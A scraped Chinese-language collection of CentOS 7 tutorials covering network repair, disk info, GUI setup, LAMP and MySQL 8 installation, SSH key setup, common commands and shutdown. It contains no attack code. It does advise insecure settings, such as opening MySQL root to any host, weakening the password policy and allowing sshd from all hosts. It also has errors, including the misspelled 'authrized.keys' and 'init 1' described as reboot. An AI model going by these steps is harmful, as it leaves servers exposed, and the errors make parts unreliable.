man:systemd-sysv-generator(8) Process: ExecStart=/etc/rc.d/init.d/network start (code=exited, status=1/FAILURE)Sep 28 09:59:00 localhost.localdomain network[]: RTNETLINK answers: File...Sep 28 09:59:00 localhost.localdomain network[]: RTNETLINK answers: File...Sep 28 09:59:00 localhost.localdomain network[]: RTNETLINK answers: File...Sep 28 09:59:00 localhost.localdomain network[]: RTNETLINK answers: File...Sep 28 09:59:00 localhost.localdomain network[]: RTNETLINK answers: File...Sep 28 09:59:00 localhost.localdomain network[]: RTNETLINK answers: File...Sep 28 09:59:00 localhost.localdomain systemd[1]: network.service: control pr...Sep 28 09:59:00 localhost.localdomain systemd[1]: Failed to start LSB: Bring ...Sep 28 09:59:00 localhost.localdomain systemd[1]: Unit network.service entere...Sep 28 09:59:00 localhost.localdomain systemd[1]: network.service failed.Hint: Some lines were ellipsized, use -l to show in full. 出现此现象的原因一般是系统的 NetworkManager 管理套件出现了问题 Sep 28 09:59:00 localhost.localdomain systemd[1]: Failed to start LSB: Bring ... 所以我们要停止这个套件的服务 [root@localhost ~]# systemctl stop NetworkManager 然后重启网卡试试 [root@localhost ~]# systemctl restart network.service 没有报错,是不是可以了呢?我们查看网络设备 [root@localhost ~]# ifconfigens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.100.15 netmask 255.255.255.0 broadcast 192.168.100.255 inet6 fe80::20c:29ff:fe35:e8d7 prefixlen 64 scopeid 0x20<link> ether 00:0c:29:35:e8:d7 txqueuelen 1000 (Ethernet) RX packets 9 bytes 626 (626.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 32 bytes 4309 (4.2 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0lo: flags=73<UP,LOOPBACK,RUNNING> mtu inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 12 bytes 1068 (1.0 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 12 bytes 1068 (1.0 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0virbr0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 inet 192.168.122.1 netmask 255.255.255.0 broadcast 192.168.122.255 ether 52:54:00:f6:af:41 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 出现外网网卡了,为了防止重启后 NetworkManager 再次开启,我们这是不让它开机启动 systemctl disable NetworkManager 完成! 以上就是centos7不能上网,重启网卡报错怎么办的知识。速戳>>知识兔学习精品课! 下面由centos入门教程栏目给大家介绍centos查看磁盘扇区大小等信息,希望对需要的朋友有所帮助! fdisk -l 说明一下: “Disk /dev/sda: 53.7 GB, bytes” 表示第一块磁盘的大小为53.7GB。 "255 heads"表示一个柱面有255个磁头(磁道)。 “63 sectors/track”表示一个磁道有63个扇区。 “6527 cylinders”表示一个磁盘有6527个柱面。 “Units = cylinders of * 512 = bytes” 其中的等于heads*sectors=255*63=,表示一个柱面的扇区数量;而512表示sector size,即扇区大小。所以bytes表示的是每个柱面的字节大小。 “Sector size (logical/physical): 512 bytes / 512 bytes”表示扇区大小。 “Disk identifier: 0x00057c27”表示一个磁盘的标识。 注意,以上内容并不代码磁盘的物理结构真是如此,这些数据只是由于历史原因为了方便人们管理硬盘虚拟出来的概念。比如heads255,一个柱面怎么可能有255个磁道。现代磁盘文件定位有2个方式:a)历史传承下来的方式:柱面号、磁道号、扇区号,b)线性方式:把磁盘看成一个连续的大数据块。访问某个磁盘位置和内存一样按线性地址去处理。 资料: CentOS下fdisk -l显示信息详解 http://www.centoscn.com/CentOS/help/2015/0112/4480.html 以上就是centos如何查看磁盘扇区大小等信息的知识。速戳>>知识兔学习精品课! 下面由centos入门教程栏目给大家介绍centos7启动与切换图形界面的方法,希望对需要的朋友有所帮助! 安装图形界面 知识兔 默认情况下是不会安装图形界面的,所以需要自己手动安装,步骤如下:开启系统,以root身份进入安装X(X Window System),命令如下: yum groupinstall "X Window System"其中大约有200多个软件,安装完成会出现complete!字样。然后安装图形界面软件,GNOME(GNOME Desktop),命令如下: yum groupinstall "GNOME Desktop"由于这个软件组比第一个要大很多(包含800个左右的软件),安装过程会比较慢。安装完成会出现complete!字样。安装完成后我们可以通过命令 startx 进入图形界面 开机启动图形化界面 知识兔首先使用ctrl+alt+f2切换到命令行模式,如果本身就是命令行模式就直接看下面的步骤然后输入如下命令,查看当前开机启动模式 systemctl get-default graphical.target代表开机时启动图形化界面 multi-user.target代表开机时启动dos界面最后输入如下命令设置开机启动图形界面 systemctl set-default graphical.target同理,如果想开机启动dos界面,就输入如下命令 systemctl set-default multi-user.target dos界面与图形化界面切换快捷键 知识兔 图形到dos:ctrl+alt+f2 dos到图形:输入startx 或者 在命令上输入 init 3 命令 切换到dos界面 输入 init 5命令 切换到图形界面 以上就是centos7如何启动与切换图形界面的知识。速戳>>知识兔学习精品课! centos php环境搭建的方法:首先安装apache,并配置ServerName;然后安装mysql;接着使用命令“yum install php php-devel”安装php;最后重启服务即可。 推荐:《centos入门教程》 CentOS搭建PHP服务器环境的方法 具体如下: 1. 先安装apache: yum install httpd 配置ServerName vi /etc/httpd/conf/httpd.conf 将#ServerName www.example.com:80修改为ServerName localhost:80 外部机器此时输入服务器的IP地址,应该看到apache的服务页面,端口不用输,apache默认就是使用80端口 如打不开可能端口80未开启外部访问,检查: /etc/init.d/iptables status 后面是否有80等信息,无则开启之,注意位置及语句state,deport前面是两个中横杠--: vim /etc/sysconfig/iptables 加入: -A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT 然后重启并保存 防火墙: service iptables restart/etc/rc.d/init.d/iptables save 再查一下是否开启: /etc/init.d/iptables status 启动apache: /etc/init.d/httpd start 2. 安装mysql: yum install mysql mysql-server 启动mysql: /etc/init.d/mysqld start 3. 安装php yum install php php-devel 重启apache使php生效 /etc/init.d/httpd restart 此时可以在目录:/var/www/html/下建立一个PHP文件 代码: <?php phpinfo(); ?> 然后访问这个文件,就能看到PHP的一些信息,php.ini配置文件的路径可以在这个页面上看到 安装php的扩展 代码如下: yum install php-mysql php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc 安装完扩展之后需要再次重启apache /etc/init.d/httpd restart 测试mysql是否链接成功的php代码 <?php$con = mysql_connect("10.0.@.@@","@@","@@");if (!$con){ die('Could not connect: ' . mysql_error());}mysql_select_db("mydb", $con);$result = mysql_query("SELECT * FROM sys_user");while($row = mysql_fetch_array($result)){ echo $row['UserName'] . " " . $row['PassWord'] . " " . $row['id']; echo "<br />";}mysql_close($con);?> 可以把上面的代码传入目录/var/www/html/就可以看到执行情况 安装目录介绍 Apache默认将网站的根目录指向/var/www/html 目录默认的主配置文件是/etc/httpd/conf/httpd.conf配置存储在的/etc/httpd/conf.d/目录 以上就是centos php 环境搭建教程的知识。速戳>>知识兔学习精品课! 下面由centos教程栏目给大家介绍CentOS常用命令及快捷键,希望对需要的朋友有所帮助! 最近开始学Linux,在VMware Player中安装了CentOS 6.4。为方便自己也方便他人,整理了Linux常用命令及快捷键。 常用命令: 文件和目录: # cd /home 进入 '/home' 目录 # cd .. 返回上一级目录 # cd https://xiaotua.com/.. 返回上两级目录 # cd - 返回上次所在目录 # cp file1 file2 将file1复制为file2 # cp -a dir1 dir2 复制一个目录 # cp -a /tmp/dir1 . 复制一个目录到当前工作目录(.代表当前目录) # ls 查看目录中的文件 # ls -a 显示隐藏文件 # ls -l 显示详细信息 # ls -lrt 按时间显示文件(l表示详细列表,r表示反向排序,t表示按时间排序) # pwd 显示工作路径 # mkdir dir1 创建 'dir1' 目录 # mkdir dir1 dir2 同时创建两个目录 # mkdir -p /tmp/dir1/dir2 创建一个目录树 # mv dir1 dir2 移动/重命名一个目录 # rm -f file1 删除 'file1' # rm -rf dir1 删除 'dir1' 目录及其子目录内容 查看文件内容: # cat file1 从第一个字节开始正向查看文件的内容 # head -2 file1 查看一个文件的前两行 # more file1 查看一个长文件的内容 # tac file1 从最后一行开始反向查看一个文件的内容 # tail -3 file1 查看一个文件的最后三行 文本处理: # grep str /tmp/test 在文件 '/tmp/test' 中查找 "str" # grep ^str /tmp/test 在文件 '/tmp/test' 中查找以 "str" 开始的行 # grep [0-9] /tmp/test 查找 '/tmp/test' 文件中所有包含数字的行 # grep str -r /tmp/* 在目录 '/tmp' 及其子目录中查找 "str" # diff file1 file2 找出两个文件的不同处 # sdiff file1 file2 以对比的方式显示两个文件的不同 查找: # find / -name file1 从 '/' 开始进入根文件系统查找文件和目录 # find / -user user1 查找属于用户 'user1' 的文件和目录 # find /home/user1 -name *.bin 在目录 '/ home/user1' 中查找以 '.bin' 结尾的文件 # find /usr/bin -type f -atime +100 查找在过去100天内未被使用过的执行文件 # find /usr/bin -type f -mtime -10 查找在10天内被创建或者修改过的文件 # locate *.ps 寻找以 '.ps' 结尾的文件,先运行 'updatedb' 命令 # find -name '*.[ch]' | xargs grep -E 'expr' 在当前目录及其子目录所有.c和.h文件中查找 'expr' # find -type f -print0 | xargs -r0 grep -F 'expr' 在当前目录及其子目录的常规文件中查找 'expr' # find -maxdepth 1 -type f | xargs grep -F 'expr' 在当前目录中查找 'expr' 压缩和解压: # bzip2 file1 压缩 file1 # bunzip2 file1.bz2 解压 file1.bz2 # gzip file1 压缩 file1 # gzip -9 file1 最大程度压缩 file1 # gunzip file1.gz 解压 file1.gz # tar -cvf archive.tar file1 把file1打包成 archive.tar (-c: 建立压缩档案;-v: 显示所有过程;-f: 使用档案名字,是必须的,是最后一个参数) # tar -cvf archive.tar file1 dir1 把 file1,dir1 打包成 archive.tar # tar -tf archive.tar 显示一个包中的内容 # tar -xvf archive.tar 释放一个包 # tar -xvf archive.tar -C /tmp 把压缩包释放到 /tmp目录下 # zip file1.zip file1 创建一个zip格式的压缩包 # zip -r file1.zip file1 dir1 把文件和目录压缩成一个zip格式的压缩包 # unzip file1.zip 解压一个zip格式的压缩包到当前目录 # unzip test.zip -d /tmp/ 解压一个zip格式的压缩包到 /tmp 目录 yum工具: # yum -y install [package] 下载并安装一个rpm包 # yum localinstall [package.rpm] 安装一个rpm包,使用你自己的软件仓库解决所有依赖关系 # yum -y update 更新当前系统中安装的所有rpm包 # yum update [package] 更新一个rpm包 # yum remove [package] 删除一个rpm包 # yum list 列出当前系统中安装的所有包 # yum search [package] 在rpm仓库中搜寻软件包 # yum clean [package] 清除缓存目录(/var/cache/yum)下的软件包 # yum clean headers 删除所有头文件 # yum clean all 删除所有缓存的包和头文件 网络: # ifconfig eth0 显示一个以太网卡的配置 # ifconfig eth0 192.168.1.1 netmask 255.255.255.0 配置网卡的IP地址 # ifdown eth0 禁用 'eth0' 网络设备 # ifup eth0 启用 'eth0' 网络设备 # iwconfig eth1 显示一个无线网卡的配置 # iwlist scan 显示无线网络 # ip addr show 显示网卡的IP地址 其他: # su - 切换到root权限(与su有区别) # shutdown -h now 关机 # shutdown -r now 重启 # top 罗列使用CPU资源最多的linux任务 (输入q退出) # pstree 以树状图显示程序 # man ping 查看参考手册(例如ping 命令) # passwd 修改密码 # df -h 显示磁盘的使用情况 # cal -3 显示前一个月,当前月以及下一个月的月历 # cal 10 1988 显示指定月,年的月历 # date --date '1970-01-01 UTC seconds' 把一相对于1970-01-01 00:00的秒数转换成时间 常用快捷键: CentOS 6.4 中可以通过系统->首选项->键盘快捷键来设置快捷键,如图所示。例如可将运行终端的快捷键设为Ctrl+Alt+T。 Ctrl + u 删除光标之前到行首的字符 Ctrl + k 删除光标之前到行尾的字符 Ctrl + c 取消当前行输入的命令,相当于Ctrl + Break Ctrl + a 光标移动到行首(ahead of line),相当于通常的Home键 Ctrl + e 光标移动到行尾(end of line) Ctrl + f 光标向前(forward)移动一个字符位置 Ctrl + b 光标往回(backward)移动一个字符位置 Ctrl + l 清屏,相当于执行clear命令 Ctrl + r 显示:号提示,根据用户输入查找相关历史命令(reverse-i-search) Ctrl + w 删除从光标位置前到当前所处单词(word)的开头 Ctrl + t 交换光标位置前的两个字符 Ctrl + y 粘贴最后一次被删除的单词 Ctrl + Alt + d 显示桌面 Alt + b 光标往回(backward)移动到前一个单词 Alt + d 删除从光标位置到当前所处单词的末尾 Alt + F2 运行 Alt + F4 关闭当前窗口 Alt + F9 最小化当前窗口 Alt + F10 最大化当前窗口 Alt + Tab 切换窗口 Alt +按住左键 移动窗口(或在最下面的任务栏滚动鼠标滑轮) [鼠标中间键] 粘贴突出显示的文本。使用鼠标左键来选择文本。把光标指向想粘贴文本的地方。点击鼠标中间键来粘贴。 [Tab] 命令行自动补全。使用 shell 提示时可使用这一方式。键入命令或文件名的前几个字符,然后按 [Tab] 键,它会自动补全命令或显示匹配键入字符的所有命令。 在桌面或文件管理器中直接按 / 就可以输入位置,打开文件管理器。 快速搜索:在 vi 或 Firefox 中直接按 / 即可进入搜索状态。 网站链接和图片可直接拖放到桌面或者目录,可以马上下载。 直接将文件管理器中的文件拖到终端中就可以在终端中得到完整的路径名。 在滚动条的空白处点击鼠标中键,屏幕即滚动到那个地方。 以上就是关于常用CentOS命令及快捷键的汇总的知识。速戳>>知识兔学习精品课! centos7安装php环境的正确方法是:1、执行【yum install httpd】命令安装apache;2、安装mysql数据库;3、执行【yum install php php-server】命令安装php。 安装步骤如下: (学习视频推荐:java视频教程) 1、先安装apache: yum install httpd 配置ServerName,进入httpd.conf文件: vi /etc/httpd/conf/httpd.conf 将#ServerName www.example.com:80修改为ServerName localhost:80 apache默认就是使用80端口 防火墙开放80端口外部访问 firewall-cmd --permanent --zone=public --add-port=80/tcp //添加80端口firewall-cmd --reload //生效 再查一下是否开启: firewall-cmd --permanent --zone=public --list-ports //查看开放端口列表 启动apache: systemctl start httpd.service 2、安装mysql: yum install mysql mysql-server 启动mysql: systemctl start mysqld.service 3、安装php yum install php php-devel 重启apache使php生效 systemctl restart httpd.service 此时可以在目录:/var/www/html/下建立一个PHP文件 代码: <?php phpinfo(); ?> 在浏览器中访问这个文件,就能看到PHP的一些信息 安装php的扩展 yum install php-mysql php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc 安装完扩展之后需要再次重启apache systemctl restart httpd.service 测试mysql是否链接成功的php代码 <?php$servername = "localhost";$username = "username";$password = "password"; // 创建连接$conn = new mysqli($servername, $username, $password); // 检测连接if ($conn->connect_error) { die("连接失败: " . $conn->connect_error);} echo "连接成功";?> 可以把上面的代码传入目录/var/www/html/ 在浏览器中访问该文件如果输出连接成功表示配置ok。 附:Apache默认配置文件路径: 网站的根目录指向/var/www/html 目录 主配置文件是/etc/httpd/conf/httpd.conf 存储在的/etc/httpd/conf.d/目录 相关推荐:php培训 以上就是centos7安装php环境的正确方法是什么的知识。速戳>>知识兔学习精品课! centos7 mysql8.0的安装方法:首先卸载历史版本MySQL;然后使用命令“sudo yum install mysql-server”来安装MySQL;最后设置为开机启动即可。 推荐:《centos教程》 CentOS 7安装MySQL8.0 一.卸载历史版本MySQL 查看是否拥有历史版本 非首次安装需卸载历史版本MySQL,命令查看是否有安装MySQL历史版本组件 # rpm -qa|grep mysql 例如图片中查询出两个已安装的MySQL社区版组件,在安装新版本MySQL前需要移除已安装的历史组件 查看MySQL服务状态 # service mysqld status 暂停MySQL服务 # service mysqld stop 卸载MySQL服务 需要把每个组件全部移除,注意可能会有组件的依赖前后顺序。 # rpm -ev [需要移除组件的名称] 或者 # rpm -e --nodeps [需要移除组件的名称] //此命令为强制卸载 二.安装MySQL 使用rpm来安装MySQL 因为CentOS 7默认安装的数据库是Mariadb,所以使用YUM命令是无法安装MySQL的,只会更新Mariadb。使用rpm来进行安装。可以在mysql的repo源仓库右键复制指定版本的数据库。 # wget http://repo.mysql.com/mysql80-community-release-el7-1.noarch.rpm 安装mysql80-community-release-el7-1.noarch.rpm包 # sudo rpm -ivh mysql80-community-release-el7-1.noarch.rpm 安装完成后会在 /etc/yum.repos.d文件夹里面获得两个文件:mysql-community.repo && mysql-community-source.repo 使用yum安装mysql服务 # sudo yum install mysql-server 如果显示以下内容说明安装成功 Complete! 检查是否已经设置为开机启动MySQL服务 # systemctl list-unit-files|grep mysqld 如果显示 则表示已经设置为开机启动,如果没有设置为开机启动则执行 # systemctl enable mysqld.service 查看MySQL是否启动未启动则执行启动服务命令 查看是否启动MySQL服务 # ps -ef|grep mysql 启动服务 # systemctl start mysqld.service 初始化MySQL # mysqld --initialize 查看MySQL初始默认密码 # grep 'temporary password' /var/log/mysqld.log 复制 root@localhost: 后面的密码。登录mysql,并粘贴默认密码 因为MySQL8.0的更改,导致必须要重置密码 alter user 'root'@'localhost' identified by ''; 如果设置密码时候出现提示 ERROR 1819 (HY000): Your password does not satisfy the current policy requirements 代表需要降低policy的等级后在执行 set global validate_password.policy=0; 开启MySQL远程连接 use mysql;#修改root账户权限update user set host = '%' where user = 'root';#刷新权限flush privileges; 以上就是centos7 mysql8.0 安装方法的知识。速戳>>知识兔学习精品课! centos安装php-fpm的正确方法是:1、安装epel;2、执行【yum -y install php-fpm】命令安装php-fpm;3、执行【systemctl restart httpd.service】命令重启httpd服务。 安装 php 和 php-fpm的方法 (学习视频推荐:java视频教程) 首先安装epel yum -y install epel-release 安装php php-fpm yum -y install php php-fpm 查看php版本 php -v 安装php-mysql yum install php-mysql 设置php-fpm开机自动启动 systemctl enable php-fpm 启动php-fpm systemctl start php-fpm 重启httpd服务 systemctl restart httpd.service 相关推荐:php培训 以上就是centos安装php-fpm的正确方法是什么的知识。速戳>>知识兔学习精品课! 下面由centos教程栏目给大家介绍CentOS SSH安装与配置,希望对需要的朋友有所帮助! CentOS SSH安装与配置 SSH 为 Secure Shell 的缩写,由 IETF 的网络工作小组(Network Working Group)所制定;SSH 为建立在应用层和传输层基础上的安全协议。 传 统的网络服务程序,如FTP、POP和Telnet其本质上都是不安全的;因为它们在网络上用明文传送数据、用户帐号和用户口令,很容易受到中间人 (man-in-the-middle)攻击方式的攻击。就是存在另一个人或者一台机器冒充真正的服务器接收用户传给服务器的数据,然后再冒充用户把数据 传给真正的服务器。 而 SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。透过 SSH 可以对所有传输的数据进行加密,也能够防止 DNS 欺骗和 IP 欺骗。 安装SSH: yum install ssh 启动SSH: service sshd start 设置开机运行: chkconfig sshd on 一般默认CentOS已经安装了OpenSSH,即使你是最小化安装也是如此。 SSH配置: 1、修改vi /etc/ssh/sshd_config,根据模板将要修改的参数注释去掉并修改参数值: Port 22 指定SSH连接的端口号,安全方面不建议使用默认22端口 Protocol 2,1 允许SSH1和SSH2连接,建议设置成 Protocal 2 其他参数根据自己的需要进行调整。配置方法详见: man ssh_config 2、修改hosts.deny 在最后面添加一行: sshd:All 3、修改hosts.allow 在最后面添加一行: sshd:All 如果为了安装可以限制访问的IP,设置如下: sshd:192.168.0.101sshd:192.168.0.102 上述配置表示只允许101和102的服务器进行SSH连接 4、启动SSH /etc/init.d/sshd start 至此SSH已经可以连接了 输入连接IP 配置相关参数 选择utf-8支持中文显示 自动输入登录用户root 输入用户名后就可以连接到服务器 但是目前我们的SSH连接还需要输入密码,下面将介绍使用密钥进行连接,免去了输入密码的烦恼: 1、在被管理机上生产密钥 [root@localhost ~]# mkdir /root/.ssh[root@localhost ~]# ssh-keygen -t rsaGenerating public/private rsa key pair.Enter file in which to save the key (/root/.ssh/id_rsa): ##直接回车默认路径Enter passphrase (empty for no passphrase): ##输入密码短语Enter same passphrase again: ##重复密码短语Your identification has been saved in /root/.ssh/id_rsa. ##如果在这里报错是因为SeLinux引起的按照Policy:yum install selinux-policyYour public key has been saved in /root/.ssh/id_rsa.pub.The key fingerprint is:aa:76:71:1e:51:fe:3b:4c:51:30:b2:90:55:e9:58:7c 该邮件地址已受到反垃圾邮件插件保护。要显示它需要在浏览器中启用 JavaScript。nThe key's randomart image is:+--[ RSA 2048]----+| .ooo+o || ...o+.E || o.+ o || . o o || S. . . || ..o o || .+ . o . || ... . + || ... . |+-----------------+ 2、putty生产密钥 打开puttygen,如果没有该程序可以到putty官方网站下载。 点击Generate按钮后出现下图,在红框中不断移动鼠标知道密钥生成完成 上面的大红框就是我们生成的公钥、这个公钥用于放在被管理服务器上,而私钥放在自己的机器上。 Key comment是一个备注信息,如果是企业环境那么会有很多的公钥在一台机器上,为了识别的话一般都会根据每个人的自己定义一个备注。 可以使用邮箱或者工号,输入Key comment先复制下公钥,并点击Saved public Key 和 Saved Private Key保存两个密钥 接着打开密钥代理工具pageant.exe(同样可以在putty的官网下载),使用pageant.exe有一个很大的好处,如果你还需要使用putty的其他工具那么他们可以共享密钥验证,而不需要反复去设置密钥。 任务栏的pageant.exe图标右键选择view keys打开下面窗口。 点击Add key添加刚才保存的私钥。 3、被管理机密钥部署 将被管理机上刚才生产的id_rsa.pub复制成authrized.keys [root@localhost .ssh]# cp id_rsa.pub authrized.keys[root@localhost .ssh]# chmod 600 authrized.keys ##这一步是必须的,否则连接不上 修改vi /root/.ssh/authrized.keys 删除原来的密钥,添加puttygen.exe生产的密钥(也就是前面复制的公钥) sh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAh+gDpVSNIwBHZvmHS240AoueNHIgDHhczQ/fhiN/IdAQVdh7Ovw2pnJ4sd6so0kqCizsU7FOu2rvaK7vHC3QrrYmeqn94V595pYGLnMCbtEd7ONew47TU8wjtdldbc7liEmkTVIdkCbbrzQa372/u2LSjkldu2BUiXkevlnGNUc= hellwen.wu~~~~ 保存退出。 4、打开putty登录 注意看上图中红色部分,如果你是经常连接这台机器的话建议输入IP并配置要后再Saved Sessions里输入识别名称并点击保存按钮,这样在列表框中就会长期保留该服务器的连接配置。 以上就是详解CentOS SSH安装与配置的知识。速戳>>知识兔学习精品课! 下面由centos教程栏目给大家介绍CentOS关机命令,希望对需要的朋友有所帮助! Linux centos关机与重启命令详解与实战 Linux centos重启命令: 1、reboot2、shutdown -r now 立刻重启(root用户使用)3、shutdown -r 10 过10分钟自动重启(root用户使用)4、shutdown -r 20:35 在时间为20:35时候重启(root用户使用) 如果是通过shutdown命令设置重启的话,可以用shutdown -c命令取消重启 Linux centos关机命令: 1、halt 立刻关机2、poweroff 立刻关机3、shutdown -h now 立刻关机(root用户使用)4、shutdown -h 10 10分钟后自动关机 如果是通过shutdown命令设置关机的话,可以用shutdown -c命令取消重启 1.shutdown shutdown命令安全地将系统关机。 有些用户会使用直接断掉电源的方式来关闭linux,这是十分危险的。因为linux与windows不同,其后台运行着许多进程,所以强制关机可能会导致进程的数据丢失﹐使系统处于不稳定的状态﹐甚至在有的系统中会损坏硬件设备。而在系统关机前使用shutdown命令﹐系统管理员会通知所有登录的用户系统将要关闭。并且login指令会被冻结﹐即新的用户不能再登录。 直接关机或者延迟一定的时间才关机都是可能的﹐还可能重启。这是由所有进程〔process〕都会收到系统所送达的信号〔signal〕决定的。这让像vi之类的程序有时间储存目前正在编辑的文档﹐而像处理邮件〔mail〕和新闻〔news〕的程序则可以正常地离开等等。 shutdown执行它的工作是送信号〔signal〕给init程序﹐要求它改变runlevel。 Runlevel 0被用来停机〔halt〕﹐runlevel 6是用来重新激活〔reboot〕系统﹐而runlevel 1则是被用来让系统进入管理工作可以进行的状态﹔这是预设的﹐假定没有-h也没有-r参数给shutdown。要想了解在停机〔halt〕或者重新开机〔reboot〕过程中做了哪些动作﹐你可以在这个文件/etc/inittab里看到这些runlevels相关的资料。 shutdown 参数说明: [-t] 在改变到其它runlevel之前﹐告诉init多久以后关机。 [-r] 重启计算器。 [-k] 并不真正关机﹐只是送警告信号给每位登录者〔login〕。 [-h] 关机后关闭电源〔halt〕。 [-n] 不用init﹐而是自己来关机。不鼓励使用这个选项﹐而且该选项所产生的后果往往不总是你所预期得到的。 [-c] cancel current process取消目前正在执行的关机程序。所以这个选项当然没有时间参数﹐但是可以输入一个用来解释的讯息﹐而这信息将会送到每位使用者。 [-f] 在重启计算器〔reboot〕时忽略fsck。 [-F] 在重启计算器〔reboot〕时强迫fsck。 [-time] 设定关机〔shutdown〕前的时间。 2.halt—-最简单的关机命令 其实halt就是调用shutdown -h。halt执行时﹐杀死应用进程﹐执行sync系统调用﹐文件系统写操作完成后就会停止内核。 参数说明: [-n] 防止sync系统调用﹐它用在用fsck修补根分区之后﹐以阻止内核用老版本的超级块〔superblock〕覆盖修补过的超级块。 [-w] 并不是真正的重启或关机﹐只是写wtmp〔/var/log/wtmp〕纪录。 [-d] 不写wtmp纪录〔已包含在选项[-n]中〕。 [-f] 没有调用shutdown而强制关机或重启。 [-i] 关机〔或重启〕前﹐关掉所有的网络接口。 [-p] 该选项为缺省选项。就是关机时调用poweroff。 3.reboot reboot的工作过程差不多跟halt一样﹐不过它是引发主机重启﹐而halt是关机。它的参数与halt相差不多。 4.init init是所有进程的祖先﹐它的进程号始终为1﹐所以发送TERM信号给init会终止所有的用户进程﹑守护进程等。shutdown 就是使用这种机制。init定义了8个运行级别(runlevel),init 0为关机﹐init 1为重启。关于init可以长篇大论﹐这里就不再叙述。 另外还有telinit命令可以改变init的运行级别﹐比如﹐telinit -iS可使系统进入单用户模式﹐并且得不到使用shutdown时的信息和等待时间。 linux如何修改root管理员密码 以root 身份登录(SSH操作)输入 passwd 命令 就可以看到提示输入新密码了。 以上就是介绍CentOS关机命令的知识。速戳>>知识兔学习精品课! 下面由centos使用教程栏目给大家介绍CentOS7与centOS8的抉择,希望对需要的朋友有所帮助! 目前国内各大云服务器的默认centos 系统版本还是7,vultr,centos只有8了 官网,下载,默认也是8,作为本地主机玩的服务器,还是试一下centos8 国外下载之前版本,下载链接:官网默认下载:https://wiki.centos.org/Download官网之前版本:https://www.centos.org/download/阿里云镜像:http://mirrors.aliyun.com/centos/7.7.1908/isos/x86_64/ 建议安装mini不带gui版本的。阿里云镜像的下载速度还是不错的。 CentOS8提供了TCP网络堆栈版本4.16。使用的缺省包过滤框架是nftables。最重要的是,这些更改确保了更好的稳定性、可伸缩性和性能。nftables替代iptables、iptablesip6table、arptables和ebtables,作为IPv4和IPv6协议的单一框架。此外,firewalld deamon还将使用与默认后端相同的用于过滤网络事务的子系统。 CentOS版本8带有KVM (qemu-kvm 2.12),附带YUM包管理器v4.0.4版本 CentOS7与CentOS8的区别 开发语言支持区别 知识兔 8版本的 Python 3PHP 7.2Ruby 2.5Node.js 10java::OpenJDK 11、OpenJDK 8、IcedTea-Web和各种Java工具,如Ant、Maven或Scala。 7支持以下编辑语言 知识兔Python 2 ( 2.7.X)PHP 5.4Ruby 2.0.0OpenJDK8用作默认的Java开发工具包(JDK),而Java 8用作默认的Java版本。 数据库方面区别: 8默认支持的数据库: 知识兔MySQL 8.0MariaDB 10.3PostgreSQL 10 and PostgreSQL 9.6Redis 5.0MariaDB是Red Hat Enterprise Linux 7中MySQL的默认实现 其他的区别也没有太在意 以上就是CentOS7与centOS8如何抉择的知识。速戳>>知识兔学习精品课! 下面由centos基础教程栏目给大家介绍CentOS的文件查看及编辑,希望对需要的朋友有所帮助! 首先来介绍cat,cat 命令的原含义为连接(concatenate), 用于连接多个文件内容并输出到标准输出流中(标准输出流默认为屏幕)。实际运用过程中,我们常使用它来显示文件内容。 cat file1.php 显示 file1.php 文件的内容; cat -n file2.py 显示 file2.py 文件的内容同时显示行号; cat file1.php file2.py 显示 file1.php 和file2.py 文件的内容; vi 是”Visual Interface” 的简称,vi编辑器是Linux和Unix上最基本的文本编辑器。它可以执行输出、删除、查找、替换、块操作等众多文本操作,而且用户可以根据自己的需要对其进行定制,这是其他编辑程序所没有的。vi 不是一个排版程序,它不象Word 或WPS 那样可以对字体、格式、段落等其他属性进行编排,它只是一个文本编辑程序。vi 没有菜单,只有命令,且命令繁多。限于篇幅,本文只介绍常用的命令。vi有3种基本工作模式:命令行模式、文本输入模式和末行模式。 vi 的进入与退出,shell 模式下输入需要编辑的文件名,如:vim file1.php即可编辑文件。 退出 vi 时,需要在末行模式中输入退出命令“q”。 如果在文本输入模式下,首先按“ESC” 键进入命令模式,然后输入“:” 进入末行模式在末行模式下,可使用如下退出命令。 退出时:1、:q 是直接退出;2、wq 保存后退出;3、:q! – 不保存内容, 强制退出 在末行模式下,输入set number显示行号 在末行模式下,可使用如下“nu” 命令(number 的简写)来显示光标所在行的行号及该行的内容。 vi 提供了两个插入命令:i 和I。 1、i 命令插入文本从光标所在位置前开始, 并且插入过程中可以使用键删除错误的输入。此时vi 处于插入状态,屏幕最下行显示“–INSERT–” 插入字样。 2、 I 命令 该命令是将光标移到当前行的行首, 然后在其前插入文本。 vi还提供了许多删除命令这些命令x (小写)0删除光标处的字符。X (大写)删除光标前面的那个字符dd 删除光标所在的整行。D 或d$ 两命令功能一样, 都是删除从光标所在处开始到行尾的内容。d0 删除从光标前一个字符开始到行首的内容。dw 删除一个单词 。 vi也有文本复制命令yy 复制光标所在的整行。文本行复制后, 通过使用上面介绍的“p” 命令,可以将文本行粘贴到任何地方。 相关推荐:《linux课程》 以上就是CentOS的文件查看及编辑详解的知识。速戳>>知识兔学习精品课! 下面由centos基础教程栏目给大家介绍CentOS7防火墙设置,希望对需要的朋友有所帮助! 1.查看系统版本 知识兔 在设置防火墙的时候,首先查看linux系统版本。 lsb_release -a centOS7 系统没有此命令 cat /etc/redhat-release(/etc/centos-release)输出:CentOS Linux release 7.4.1708 (Core) 此命令对于CentOS6和CentOS7都可以使用。linux系统中etc文件夹主要用于存放一些配置文件。 2.防火墙相关命令 知识兔 启动: systemctl start firewalld查看状态: systemctl status firewalld 禁止开机启动: 